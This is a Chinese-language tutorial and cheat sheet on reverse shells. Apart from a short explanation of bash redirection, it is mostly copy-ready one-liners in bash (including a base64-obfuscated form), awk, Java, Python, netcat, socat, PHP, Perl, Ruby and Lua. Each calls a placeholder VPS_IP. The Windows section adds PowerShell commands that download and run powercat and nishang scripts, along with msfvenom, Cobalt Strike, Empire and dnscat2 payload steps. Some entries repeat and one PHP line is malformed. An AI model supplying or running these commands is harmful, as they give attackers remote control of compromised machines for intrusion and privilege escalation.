反弹shell是指控制端监听某个TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出传递到控制端的过程。
reverse shell与telnet、ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。

反弹shell基础

举例常见的反弹shell语句:

  1. bash -i >& /dev/tcp/VPS_IP/VPS_Port 0>&1

&>的含义

反弹shell中的&没有固定含义,放在>后面的&,表示重定向的目标不是一个文件,而是一个文件描述符。

  1. 当>&后面接文件时,表示将标准输出和标准错误输出重定向到文件
  2. 当>&后面接文件描述符时,表示将前面的文件描述符重定向到后面的文件描述符

反弹shell语句含义

bash -i表示在本地打开一个bash,/dev/tcp/VPS_IP/VPS_Port中/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>& /dev/tcp/VPS_IP/VPS_Port表示将标准输出和标准错误输出重定向到这个文件上,即传递给远程,如果远程开启了对应端口的监听,就会接收到这个bash的标准输出和标准错误输出。

测试:
docker—-肉机
ubuntu20—-攻击机
首先在攻击机上开放监听端口:
image.png
肉鸡执行命令:
image.png
image.png
此时在本地输入命令,本地是看不到输入的内容的,因为输入设备输入的命令和输出以及错误输出的内容已经被传递到远程上。
0>&1表示将标准输入重定向到标准输出,然而此时标准输出已重定向到/dev/tcp/VPS_IP/VPS_Port这个文件,也就是远程,那么标准输入也就重定向到了远程,所以可以直接在远程输入了。

各种方式反弹shell:

bash反弹:

  1. bash -i >& /dev/tcp/VPS_IP/VPS_Port 0>&1
  2. base64版:bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
  3. exec 5<>/dev/tcp/VPS_IP/1234;cat <&5 | while read line; do $line 2>&5 >&5;done
  4. exec /bin/sh 0</dev/tcp/VPS_IP/1234 1>&0 2>&0
  5. base64版:bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
  6. exec 5<>/dev/tcp/VPS_IP/1234;cat <&5 | while read line; do $line 2>&5 >&5;done
  7. exec /bin/sh 0</dev/tcp/VPS_IP/1234 1>&0 2>&0

awk反弹shell

  1. awk 'BEGIN{s="/inet/tcp/0/VPS_IP/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

Java反弹shell

  1. public class Revs {
  2. /**
  3. * @param args
  4. * @throws Exception
  5. */
  6. public static void main(String[] args) throws Exception {
  7. // TODO Auto-generated method stub
  8. Runtime r = Runtime.getRuntime();
  9. String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/VPS_IP/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
  10. Process p = r.exec(cmd);
  11. p.waitFor();
  12. }
  13. }

python反弹shell

脚本:

  1. import os,socket,subprocess
  2. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  3. s.connect(('VPS_IP',port))
  4. os.dup2(s.fileno(),0)
  5. os.dup2(s.fileno(),1)
  6. os.dup2(s.fileno(),2)
  7. p=subprocess.call(['/bin/bash','-i'])

命令行:

  1. python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('VPS_IP',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

nc反弹shell

  1. nc -e /bin/bash VPS_IP Port

openbsd中不支持-e参数时
使用管道符分别将输入输出重定向到两个监听端口

  1. nc VPS_IP 8888 | /bin/bash | VPS_IP 9999

telnet反弹shell

  1. telnet VPS_IP 1234 | /bin/bash | telnet VPS_IP 4321

socat反弹shell

  1. socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:VPS_IP:Port

php反弹shell

  1. php- 'exec("/bin/bash -i >& /dev/tcp/VPS_IP/7777")'

使用fsockopen去连接远程:

  1. php -r '$sock=fsockopen("VPS_IP",port);exec("/bin/bash -i <&3 >&3 2>&3");'

需要注意的是,php反弹shell的这些方法都需要php关闭safe_mode这个选项,才可以使用exec函数。

Perl反弹shell

  1. perl -e 'use Socket;$i="VPS_IP";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby反弹shell

  1. ruby -rsocket -e'f=TCPSocket.open("VPS_IP",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Lua反弹shell

  1. lua -e "require('socket');require('os');t=socket.tcp();t:connect('VPS_IP','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Windows下反弹shell方式

nc反弹shell

  1. netcat 下载:https://eternallybored.org/misc/netcat/
  2. 服务端反弹:nc VPS_IP 1234 -e c:\windows\system32\cmd.exe

powershell反弹

powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。

PS C:\WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c VPS_IP -p 1234 -e cmd

载到目标机器本地执行:

PS C:\WWW> Import-Module ./powercat.ps1
PS C:\WWW> powercat -c VPS_IP -p 1234 -e cmd

MSF反弹shell

使用msfvenom生成相关Payload

msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=VPS_IP LPORT=1234

Cobalt strike反弹shell

1、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。 2、生成payload:点击Attacks——>Packages——>Windows Executable,保存文件位置。 3、目标机执行powershell payload

Empire反弹shell

usestager windows/launcher_vbs
info
set Listener test
execute

nishang反弹shell

反弹TCPshell

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress VPS_IP -port 1234

反弹UDPshell

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress VPS_IP -port 1234

Dnscat反弹shell

项目地址: https://link.zhihu.com/?target=https%3A//github.com/iagox86/dnscat2
服务端:

ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open

目标主机:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx

Linux C语言反弹shell脚本:

github:https://github.com/wantongtang/cBackShell